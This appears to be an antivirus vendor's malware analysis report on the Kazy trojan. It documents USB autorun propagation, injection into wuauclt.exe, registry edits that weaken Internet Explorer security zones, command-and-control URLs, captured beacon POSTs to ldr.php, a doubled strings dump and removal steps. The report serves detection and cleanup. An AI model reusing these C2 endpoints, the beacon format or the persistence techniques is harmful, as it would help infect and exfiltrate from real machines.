Gen.Variant.Kazy.299377_e825e09d39

Dynamic Analysis

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:57416
%original file name%.exe:1332

The Trojan injects its code into the following process(es):

wuauclt.exe:57448

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:57416 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\0B2.tmp (1281 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\0B2.tmp (0 bytes)

Registry activity

The process %original file name%.exe:57416 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "72 B4 52 1C 1C A6 7F 13 D4 83 A4 57 16 A2 9E 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software]
"ImageBase" = "80 93 C5 35 4A 35 35 35 49 35 35 35 36 36 35 35"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_install_]
"msiexec.exe" = "msiexec"

[HKLM\SOFTWARE\Microsoft]
"0000000B" = "50 4B 03 04 00 EA 00 00 30 71 00 00 BC FC C2 2B"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The process %original file name%.exe:1332 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "57 4B FC 2B EF 26 25 0B 8E D1 53 35 5F BA A4 D8"

Dropped PE files

MD5	File path
7ed265b1caa48a7eeb2246bb365778d8	c:\Documents and Settings\All Users\Local Settings\Temp\cctrrfvwz.pif
7ed265b1caa48a7eeb2246bb365778d8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\_install_\msiexec.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:57416
   %original file name%.exe:1332
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\0B2.tmp (1281 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Hause
Product Name: Drenzag
Product Version: 5, 1, 8, 4
Legal Copyright: Copyright Radume(c) 2013
Legal Trademarks: Gioka(c)
Original Filename: Koda
Internal Name: Zdravka
File Version: 2, 1, 3, 2
File Description: Darko
Comments: Preshin
Language: English (United States)

Company Name: HauseProduct Name: DrenzagProduct Version: 5, 1, 8, 4Legal Copyright: Copyright Radume(c) 2013Legal Trademarks: Gioka(c)Original Filename: KodaInternal Name: ZdravkaFile Version: 2, 1, 3, 2File Description: DarkoComments: PreshinLanguage: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	1495040	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	1499136	188416	188416	5.34055	31a279faf70559e66e2d1cff233a7c31
.rsrc	1687552	45056	43520	4.16141	250da1d858559ae8657f0ba7551e01ed

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://a.sobea.in/lptycgtycgkosxbosxbfjnrvjnrvaeib	50.116.32.177
hxxp://hzmksreiuojy.in/ldr.php	195.22.26.254
hxxp://hzmksreiuojy.ru/ldr.php	195.22.26.252
www.update.microsoft.com	65.55.192.91
hzmksreiuojy.biz	69.195.129.70

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /ldr.php HTTP/1.1

Host: hzmksreiuojy.ru

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 84

Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33Mx0PLwog9mY3qw==

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 16 Dec 2014 05:20:32 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Set-Cookie: btst=8a6fcfa38b1f1fc92349b0a77bd76af7|"%local server IP%"|1418707232|1418707232|0|1|0

Set-Cookie: snkz="%local server IP%"

0..

POST /ldr.php HTTP/1.1

Host: hzmksreiuojy.in

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 84

Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33Mx0PLwog9mY3qw==

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 16 Dec 2014 05:20:32 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Set-Cookie: btst=6d2da922248a82e579d1e4af0c09337b|"%local server IP%"|1418707231|1418707231|0|1|0

Set-Cookie: snkz="%local server IP%"

0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

wuauclt.exe_57448:

.text

.text

`.data

`.data

.rsrc

.rsrc

@.reloc

@.reloc

wuauclt.pdb

wuauclt.pdb

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

_wcmdln

_wcmdln

_amsg_exit

_amsg_exit

msvcrt.dll

msvcrt.dll

ntdll.dll

ntdll.dll

ole32.dll

ole32.dll

RegCloseKey

RegCloseKey

RegOpenKeyExW

RegOpenKeyExW

RegCreateKeyExW

RegCreateKeyExW

ADVAPI32.dll

ADVAPI32.dll

USER32.dll

USER32.dll

OLEAUT32.dll

OLEAUT32.dll

SHLWAPI.dll

SHLWAPI.dll

zcÁ

zcÁ

version="6.0.0.0"

version="6.0.0.0"

name="Microsoft.Windows.windowsupdate.wuauclt"

name="Microsoft.Windows.windowsupdate.wuauclt"

true

true

name="Microsoft.Windows.Common-Controls"

name="Microsoft.Windows.Common-Controls"

publicKeyToken="6595b64144ccf1df"

publicKeyToken="6595b64144ccf1df"

wuaueng.dll

wuaueng.dll

Error: 0xx. wuauclt handler: failed to spawn COM server

Error: 0xx. wuauclt handler: failed to spawn COM server

Error: 0xx. wuauclt handler: failed to load wuaueng

Error: 0xx. wuauclt handler: failed to load wuaueng

/ReportNow

/ReportNow

/ShowWindowsUpdate

/ShowWindowsUpdate

/CloseWindowsUpdate

/CloseWindowsUpdate

wuauclt.exe failed to get proc address for UI export object with error %#lx

wuauclt.exe failed to get proc address for UI export object with error %#lx

Failed to load %s with error %X

Failed to load %s with error %X

wucltui.dll

wucltui.dll

wucltux.dll

wucltux.dll

call RunAUClientUI on wucltui.dll/wucltux.dll

call RunAUClientUI on wucltui.dll/wucltux.dll

Ntdll.dll

Ntdll.dll

WuSqm %ls session datapoint (id:%d) is incremented with dword %d.

WuSqm %ls session datapoint (id:%d) is incremented with dword %d.

wuauclt.exe is exiting with code 0xX

wuauclt.exe is exiting with code 0xX

wuauclt.exe launched with command line %s

wuauclt.exe launched with command line %s

kernel32.dll

kernel32.dll

WUWeb

WUWeb

Report

Report

7.6.7600.256

7.6.7600.256

Global\WindowsUpdateTracingMutex

Global\WindowsUpdateTracingMutex

WindowsUpdate.log

WindowsUpdate.log

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace

Windows

Windows

shell32.dll

shell32.dll

%s: %s [

%s: %s [

%s: %s

%s: %s

%s\%s

%s\%s

= Module: %s

= Module: %s

= Module:

= Module:

= Process: %s

= Process: %s

= Process:

= Process:

=========== Logging initialized (build: %s, tz: %s) ===========

=========== Logging initialized (build: %s, tz: %s) ===========

wups2.dll

wups2.dll

wups.dll

wups.dll

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\

%hs %ls page "%ls", hr=%X

%hs %ls page "%ls", hr=%X

Microsoft.WindowsUpdate

Microsoft.WindowsUpdate

wupdmgr.exe

wupdmgr.exe

Failed to cocreate IShellWindows, error = 0xlX

Failed to cocreate IShellWindows, error = 0xlX

Failed to obtain window doc for window %d, error = 0xlX

Failed to obtain window doc for window %d, error = 0xlX

Failed to obtain folder view for window %d, error = 0xlX

Failed to obtain folder view for window %d, error = 0xlX

Failed to obtain folder IPersist for window %d, error = 0xlX

Failed to obtain folder IPersist for window %d, error = 0xlX

Window %d is NOT a WU window

Window %d is NOT a WU window

Done enumerating windows

Done enumerating windows

Quit for window %d failed: 0xlX

Quit for window %d failed: 0xlX

Window %d is a WU window. Attempting to close

Window %d is a WU window. Attempting to close

Failed to obtain class ID for window %d, error = 0xlX

Failed to obtain class ID for window %d, error = 0xlX

Got NULL disp interface for window %d

Got NULL disp interface for window %d

Got %d instead of VT_DISPATCH for window %d

Got %d instead of VT_DISPATCH for window %d

Failed to obtain IWebBrowserApp for window %d, error = 0xlX

Failed to obtain IWebBrowserApp for window %d, error = 0xlX

Failed to enumerate window %d, error = 0xlX

Failed to enumerate window %d, error = 0xlX

Found %d explorer windows

Found %d explorer windows

Closing WU explorer windows

Closing WU explorer windows

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData

WUAppNotificationWindows

WUAppNotificationWindows

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\

%chdhd

%chdhd